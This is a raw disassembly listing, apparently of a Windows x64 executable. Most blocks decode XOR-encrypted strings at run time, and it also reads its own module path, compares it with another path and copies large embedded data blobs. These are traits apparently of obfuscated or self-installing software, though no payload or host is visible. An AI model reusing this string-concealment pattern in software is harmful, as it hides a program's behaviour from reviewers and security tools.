add rbx, 8
cmp rsi, rbx
je 0x140005037
mov r12, qword [rbx]
mov rcx, r12
call sub.msvcrt.dll_strlen
xor r8d, r8d
mov rdx, r12
mov rcx, r13
mov r9, rax
call fcn.140028650
cmp rax, 0xffffffffffffffff
jne 0x140004f10
mov edx, 0xd
mov rcx, r13
call fcn.1400302c0
mov edx, 0xa
mov rcx, r13
call fcn.1400302c0
lea rcx, [0x140039ea0]
call fcn.140013570
lea rcx, [0x140039e80]
mov r14, rax
call fcn.140013570
cmp byte [r14], 0
mov r15, rax
jne 0x140004fad
mov r11d, 0x311b
mov byte [rax + 0xe], 1
xor r8d, r8d
mov rdx, rax
mov dword [rax + 8], 0x954163cb
lea rcx, [0x1400261b0]
mov word [rax + 0xc], r11w
movq qword [rax], xmm7
mov byte [r14], 1
call fcn.140012280
cmp byte [r15 + 0xe], 0
je 0x140004fd6
movq xmm0, qword [r15]
xor dword [r15 + 8], 0xb56143eb
xor word [r15 + 0xc], 0x313b
mov byte [r15 + 0xe], 0
pxor xmm0, xmm6
movq qword [r15], xmm0
mov rcx, r15
call sub.msvcrt.dll_strlen
mov r8, rax
mov rax, rdi
sub rax, qword [rsp + 0xf08]
cmp r8, rax
ja 0x140005ad8
mov rdx, r15
mov rcx, r13
call fcn.14002ff90
mov rcx, r12
call sub.msvcrt.dll_strlen
mov r8, rax
mov rax, rdi
sub rax, qword [rsp + 0xf08]
cmp r8, rax
ja 0x140005ae4
mov rdx, r12
mov rcx, r13
call fcn.14002ff90
add rbx, 8
cmp rsi, rbx
jne 0x140004f1d
mov r8d, dword [rsp + 0xf08]
mov rdx, qword [rsp + 0xf00]
mov rcx, qword [rsp + 0x38]
call fcn.1400077e0
mov rcx, qword [rsp + 0xf00]
cmp rcx, qword [rsp + 0x48]
je 0x140005071
mov rax, qword [rsp + 0xf10]
lea rdx, [rax + 1]
call fcn.140034d10
xor ebx, ebx
lea rdi, [rsp + 0x4b0]
mov ecx, 0x41
mov r8d, 0x104
mov rax, rbx
lea r12, [rsp + 0x4b0]
rep stosq qword [rdi], rax
mov rdx, r12
lea rdi, [rsp + 0x6c0]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, rbx
mov ecx, 0x41
xor r9d, r9d
rep stosq qword [rdi], rax
lea rbx, [rsp + 0x6c0]
xor r8d, r8d
mov edx, 0x26
mov qword [rsp + 0x20], rbx
mov rax, qword [rsp + 0x40]
call rax
movdqa xmm0, xmmword [0x1403ef4a0]
mov r10d, 0x2557
lea rcx, [0x140039ee0]
mov word [rsp + 0x1144], r10w
movaps xmmword [rsp + 0x1110], xmm0
movdqa xmm0, xmmword [0x1403ef4b0]
mov dword [rsp + 0x1140], 0x5784e17f
movaps xmmword [rsp + 0x1120], xmm0
movdqa xmm0, xmmword [0x1403ef4c0]
movaps xmmword [rsp + 0x1130], xmm0
call fcn.140013570
lea rcx, [0x140039ec0]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov r13, rax
jne 0x14000518d
mov r9d, 0x2557
mov byte [rax + 0x36], 1
xor r8d, r8d
mov rdx, rax
movdqa xmm3, xmmword [rsp + 0x1110]
mov dword [rax + 0x30], 0x5784e17f
lea rcx, [0x140026370]
movdqa xmm4, xmmword [rsp + 0x1120]
mov word [rax + 0x34], r9w
movdqa xmm5, xmmword [rsp + 0x1130]
movups xmmword [rax], xmm3
movups xmmword [rax + 0x10], xmm4
movups xmmword [rax + 0x20], xmm5
mov byte [rsi], 1
call fcn.140012280
cmp byte [r13 + 0x36], 0
je 0x1400051c5
movabs r8, 0x13bfd92d2557e107
xor eax, eax
mov rcx, rax
mov rdx, r8
and ecx, 7
shl rcx, 3
shr rdx, cl
xor word [r13 + rax*2], dx
add rax, 1
cmp rax, 0x1b
jne 0x1400051a0
mov byte [r13 + 0x36], 0
mov rdx, r13
mov rcx, rbx
lea rsi, [0x1400366c0]
mov rdi, rbp
call fcn.140024980
mov ecx, 0xde
rep movsq qword [rdi], qword [rsi]
lea rcx, [0x140039f20]
movzx eax, word [rsi]
mov word [rdi], ax
call fcn.140013570
lea rcx, [0x140039f00]
mov r15, rax
call fcn.140013570
cmp byte [r15], 0
mov r13, rax
jne 0x140005265
mov byte [rax + 0x6f2], 1
mov rsi, rbp
xor r8d, r8d
mov rdx, r13
mov rax, qword [rsp + 0x1110]
lea rdi, [r13 + 8]
and rdi, 0xfffffffffffffff8
mov qword [r13], rax
mov rax, qword [rsp + 0x17fa]
mov qword [r13 + 0x6ea], rax
mov rax, r13
sub rax, rdi
sub rsi, rax
add eax, 0x6f2
shr eax, 3
mov ecx, eax
rep movsq qword [rdi], qword [rsi]
mov byte [r15], 1
lea rcx, [0x140026410]
call fcn.140012280
cmp byte [r13 + 0x6f2], 0
je 0x1400052aa
movabs r8, 0x769f7ebeb59dbd3
xor eax, eax
nop dword [rax + rax]
mov rcx, rax
mov rdx, r8
and ecx, 7
shl rcx, 3
shr rdx, cl
xor word [r13 + rax*2], dx
add rax, 1
cmp rax, 0x379
jne 0x140005280
mov byte [r13 + 0x6f2], 0
mov qword [rsp + 0x20], rbx
mov rdx, r13
mov r9, rbx
mov r8, rbx
mov ecx, 1
lea r13, [rsp + 0x8d0]
movabs r15, 0x47761399e1bedbdd
mov rdi, r13
call fcn.140005be0
movdqa xmm0, xmmword [0x1403ef4d0]
xor eax, eax
mov ecx, 0x41
rep stosq qword [rdi], rax
mov r8d, 0xffffd547
lea rcx, [0x140039f60]
mov qword [rsp + 0x1120], r15
mov word [rsp + 0x1128], r8w
movaps xmmword [rsp + 0x1110], xmm0
call fcn.140013570
lea rcx, [0x140039f40]
mov rdi, rax
call fcn.140013570
cmp byte [rdi], 0
mov rsi, rax
jne 0x14000535d
mov ecx, 0xffffd547
mov byte [rax + 0x1a], 1
xor r8d, r8d
mov rdx, rax
movdqa xmm3, xmmword [rsp + 0x1110]
mov word [rax + 0x18], cx
lea rcx, [0x1400262d0]
mov qword [rax + 0x10], r15
movups xmmword [rax], xmm3
mov byte [rdi], 1
call fcn.140012280
cmp byte [rsi + 0x1a], 0
je 0x14000538c
movabs rax, 0x471313e1e1dbdbf3
xor word [rsi + 0x18], 0xd547
movabs rdx, 0xd3d38585d5d547
xor qword [rsi], rax
xor qword [rsi + 8], rdx
xor qword [rsi + 0x10], rax
mov byte [rsi + 0x1a], 0
mov rdx, qword [rsp + 0x30]
mov rcx, r13
mov r8, rsi
call fcn.140006c80
mov rdx, rbx
mov rcx, r12
call sub.msvcrt.dll__wcsicmp
test eax, eax
jne 0x1400059f5
lea r12, [rsp + 0xae0]
xor eax, eax
mov ecx, 0x41
mov rdi, r12
rep stosq qword [rdi], rax
call fcn.140001a70
cmp byte [rax + 0x1e], 0
mov r8, rax
je 0x140005405
movabs rax, 0x1f7b7b3737575791
xor dword [r8 + 0x18], 0x7fbfbf1f
movabs rdx, 0xe5e57f7fbfbf1f
xor qword [r8], rax
xor qword [r8 + 8], rdx
xor qword [r8 + 0x10], rax
xor word [r8 + 0x1c], 0xe57f
mov byte [r8 + 0x1e], 0
mov rdx, r13
mov rcx, r12
call fcn.140006c80
mov ebx, dword [0x14007b280]
lea rcx, [0x14003a280]
mov edx, ebx
call fcn.1400038d0
mov r13, rax
call fcn.1400019c0
cmp byte [rax + 0x2a], 0
mov r8, rax
je 0x14000546c
movabs r9, 0x27cf676ff1953f9d
xor eax, eax
nop dword [rax]
mov rcx, rax
mov rdx, r9
and ecx, 7
shl rcx, 3
shr rdx, cl
xor word [r8 + rax*2], dx
add rax, 1
cmp rax, 0x15
jne 0x140005448
mov byte [r8 + 0x2a], 0
mov rcx, r8
call fcn.140006460
test al, al
je 0x140005abf
xor eax, eax
lea rdi, [rsp + 0xcf0]
xor r9d, r9d
xor r8d, r8d
mov ecx, 0x41
lea r12, [rsp + 0xcf0]
mov edx, 0x26
rep stosq qword [rdi], rax
mov qword [rsp + 0x20], r12
mov rax, qword [rsp + 0x40]
call rax
call fcn.140001930
cmp byte [rax + 0x1c], 0
mov rdx, rax
je 0x1400054e5
movabs rax, 0x6f7979e7e78787bf
xor dword [rdx + 0x18], 0xe3ffff6f
movabs rcx, 0xb5b5e3e3ffff6f
xor qword [rdx], rax
xor qword [rdx + 8], rcx
xor qword [rdx + 0x10], rax
mov byte [rdx + 0x1c], 0
mov rcx, r12
lea r13, [rsp + 0xf00]
call fcn.140024980
mov rdi, r13
xor eax, eax
mov ecx, 0x41
rep stosq qword [rdi], rax
movdqa xmm0, xmmword [0x1403ef4e0]
mov edx, 0x7137
lea rcx, [0x14003a0a0]
mov word [rsp + 0x1120], dx
movaps xmmword [rsp + 0x1110], xmm0
call fcn.140013570
lea rcx, [0x14003a080]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x140005570
movdqa xmm4, xmmword [rsp + 0x1110]
mov byte [rax + 0x12], 1
xor r8d, r8d
mov rdx, rbx
lea rcx, [0x140026430]
movups xmmword [rax], xmm4
mov eax, 0x7137
mov word [rbx + 0x10], ax
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 0x12], 0
je 0x14000559b
movabs rax, 0x29ffffdbdb717137
xor word [rbx + 0x10], 0x7137
xor qword [rbx], rax
movabs rax, 0xd0d5353dfdf29
xor qword [rbx + 8], rax
mov byte [rbx + 0x12], 0
mov r8, rbx
mov rdx, r12
mov rcx, r13
call fcn.140006c80
mov ebx, dword [0x14007eb70]
lea rcx, [0x14007b2a0]
mov edx, ebx
call fcn.1400038d0
mov r8d, ebx
mov rcx, r13
mov rdx, rax
call fcn.1400077e0
mov rcx, r12
call fcn.140005d10
lea rcx, [0x14003a0e0]
mov ebx, eax
call fcn.140013570
lea rcx, [0x14003a0c0]
mov rdi, rax
call fcn.140013570
cmp byte [rdi], 0
mov rsi, rax
jne 0x14000561e
mov byte [rax + 8], 1
xor r8d, r8d
movabs rax, 0x59010105771c717b
mov rdx, rsi
mov qword [rsi], rax
lea rcx, [0x1400263b0]
mov byte [rdi], 1
call fcn.140012280
cmp byte [rsi + 8], 0
je 0x14000562c
mov rcx, rsi
call fcn.140001790
mov qword [rsp + 0x60], rsi
call fcn.140001890
cmp byte [rax + 0x30], 0
mov r10, rax
je 0x140005647
mov rcx, rax
call fcn.1400017b0
lea rsi, [0x140036dc0]
mov ecx, 0x13d
mov rdi, rbp
mov qword [rsp + 0x68], r10
rep movsq qword [rdi], qword [rsi]
lea rcx, [0x14003a160]
mov eax, dword [rsi]
mov dword [rdi], eax
movzx eax, word [0x1400377ac]
mov word [rdi + 4], ax
call fcn.140013570
lea rcx, [0x14003a140]
mov r13, rax
call fcn.140013570
cmp byte [r13], 0
mov r12, rax
jne 0x1400056ee
mov byte [rax + 0x9ee], 1
mov rsi, rbp
xor r8d, r8d
mov rdx, r12
mov rax, qword [rsp + 0x1110]
lea rdi, [r12 + 8]
and rdi, 0xfffffffffffffff8
mov qword [r12], rax
mov rax, qword [rsp + 0x1af6]
mov qword [r12 + 0x9e6], rax
mov rax, r12
sub rax, rdi
sub rsi, rax
add eax, 0x9ee
shr eax, 3
mov ecx, eax
rep movsq qword [rdi], qword [rsi]
mov byte [r13], 1
lea rcx, [0x1400262c0]
call fcn.140012280
cmp byte [r12 + 0x9ee], 0
je 0x140005732
movabs r8, 0x36d5f5901777103
xor eax, eax
nop dword [rax]
mov rcx, rax
mov rdx, r8
and ecx, 7
shl rcx, 3
shr rdx, cl
xor word [r12 + rax*2], dx
add rax, 1
cmp rax, 0x4f7
jne 0x140005708
mov byte [r12 + 0x9ee], 0
lea rcx, [0x14003a1a0]
mov qword [rsp + 0x70], r12
call fcn.140013570
lea rcx, [0x14003a180]
mov rdi, rax
call fcn.140013570
cmp byte [rdi], 0
mov rsi, rax
jne 0x140005780
mov byte [rax + 8], 1
xor r8d, r8d
movabs rax, 0x5901011f77057166
mov rdx, rsi
mov qword [rsi], rax
lea rcx, [0x1400263b0]
mov byte [rdi], 1
call fcn.140012280
cmp byte [rsi + 8], 0
je 0x14000578e
mov rcx, rsi
call fcn.140001790
mov qword [rsp + 0x78], rsi
call fcn.1400017f0
cmp byte [rax + 0x30], 0
mov r10, rax
je 0x1400057a9
mov rcx, rax
call fcn.1400017b0
lea rsi, [0x1400377c0]
mov ecx, 0x28d
mov rdi, rbp
mov qword [rsp + 0x80], r10
rep movsq qword [rdi], qword [rsi]
lea rcx, [0x14003a220]
mov eax, dword [rsi]
mov dword [rdi], eax
movzx eax, word [0x140038c2c]
mov word [rdi + 4], ax
call fcn.140013570
lea rcx, [0x14003a200]
mov r13, rax
call fcn.140013570
cmp byte [r13], 0
mov r12, rax
jne 0x140005853
mov byte [rax + 0x146e], 1
mov rsi, rbp
xor r8d, r8d
mov rdx, r12
mov rax, qword [rsp + 0x1110]
lea rdi, [r12 + 8]
and rdi, 0xfffffffffffffff8
mov qword [r12], rax
mov rax, qword [rsp + 0x2576]
mov qword [r12 + 0x1466], rax
mov rax, r12
sub rax, rdi
sub rsi, rax
add eax, 0x146e
shr eax, 3
mov ecx, eax
rep movsq qword [rdi], qword [rsi]
mov byte [r13], 1
lea rcx, [0x140026360]
call fcn.140012280
cmp byte [r12 + 0x146e], 0
jne 0x14000597f
lea rcx, [0x14003a260]
mov qword [rsp + 0x88], r12
lea rsi, [rsp + 0x60]
call fcn.140013570
lea rcx, [0x14003a240]
lea r13, [0x1400263c0]
mov rdi, rax
call fcn.140013570
mov r14, qword [rsp + 0x30]
mov r12, rdi
mov rdi, r13
movq xmm7, qword [0x1403ef4f0]
mov r15, rax
movq xmm6, qword [0x1403ef4f8]
cmp byte [r12], 0
mov r13, qword [rsi]
jne 0x1400058d6
mov byte [r15 + 8], 1
xor r8d, r8d
mov rdx, r15
mov rcx, rdi
movq qword [r15], xmm7
mov byte [r12], 1
call fcn.140012280
cmp byte [r15 + 8], 0
je 0x1400058f0
movq xmm0, qword [r15]
mov byte [r15 + 8], 0
pxor xmm0, xmm6
movq qword [r15], xmm0
mov rdx, r13
mov rcx, r15
call sub.msvcrt.dll__wcsicmp
mov r13d, eax
test eax, eax
jne 0x140005914
test bl, bl
jne 0x140005914
add rsi, 0x18
cmp r14, rsi
jne 0x1400058af
jmp 0x140003a28
xor edx, edx
mov r8d, 0xfffe
mov rcx, rbp
call sub.msvcrt.dll_memset
mov r8, qword [rsi + 0x10]
mov rdx, r14
mov rcx, rbp
call fcn.140006c80
test r13d, r13d
je 0x1400059d2
movsxd rax, dword [0x1403ed1a0]
lea rcx, [0x1402067a0]
mov rdx, rax
mov qword [rsp + 0x30], rax
call fcn.1400038d0
mov r13, rax
mov rcx, qword [rsi + 8]
call fcn.140006460
test al, al
jne 0x140005906
mov rdx, qword [rsp + 0x30]
mov r9d, 1
mov r8, rbp
mov rcx, r13
call fcn.140003720
jmp 0x140005906
movabs r8, 0x36d5f5901777103
xor eax, eax
nop dword [rax + rax]
mov rcx, rax
mov rdx, r8
and ecx, 7
shl rcx, 3
shr rdx, cl
xor word [r12 + rax*2], dx
add rax, 1
cmp rax, 0xa37
jne 0x140005990
mov byte [r12 + 0x146e], 0
jmp 0x140005862
test rax, rax
jne 0x140005af0
mov rdx, qword [rsp + 0x48]
jmp 0x140003e25
movsxd rax, dword [0x140206780]
lea rcx, [0x14007eb80]
mov rdx, rax
mov qword [rsp + 0x30], rax
call fcn.1400038d0
mov r13, rax
jmp 0x14000595a
mov rdx, rbp
mov rcx, r12
call fcn.140007700
mov rcx, rbx
mov rdx, rax
mov eax, dword [rsp + 0x1110]
lea r8d, [rax + 1]
mov dword [rsp + 0x1110], r8d
call fcn.1400077e0
call fcn.140001b10
cmp byte [rax + 0x200], 0
mov rdx, rax
je 0x140005a67
movabs r8, 0x558bf9a58fbd6dbf
xor eax, eax
nop dword [rax + rax]
mov rcx, rax
mov rdi, r8
and ecx, 7
shl rcx, 3
shr rdi, cl
xor word [rdx + rax*2], di
add rax, 1
cmp rax, 0x100
jne 0x140005a40
mov byte [rdx + 0x200], 0
mov r8, rbx
xor ecx, ecx
call fcn.140005be0
jmp 0x140003a28
mov rcx, r13
xor r8d, r8d
mov rdx, rbp
call fcn.1400300d0
mov qword [rsp + 0xf00], rax
mov rcx, rax
mov rax, qword [rsp + 0x1110]
mov qword [rsp + 0xf10], rax
mov rdx, r12
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x1110]
mov rdx, qword [rsp + 0xf00]
jmp 0x140003e25
movsxd rdx, ebx
mov r9d, 1
mov r8, r12
mov rcx, r13
call fcn.140003720
jmp 0x14000547c
lea rcx, section..rdata
call fcn.1400358f0
lea rcx, section..rdata
call fcn.1400358f0
mov rcx, qword [rsp + 0x48]
jmp 0x140005a9f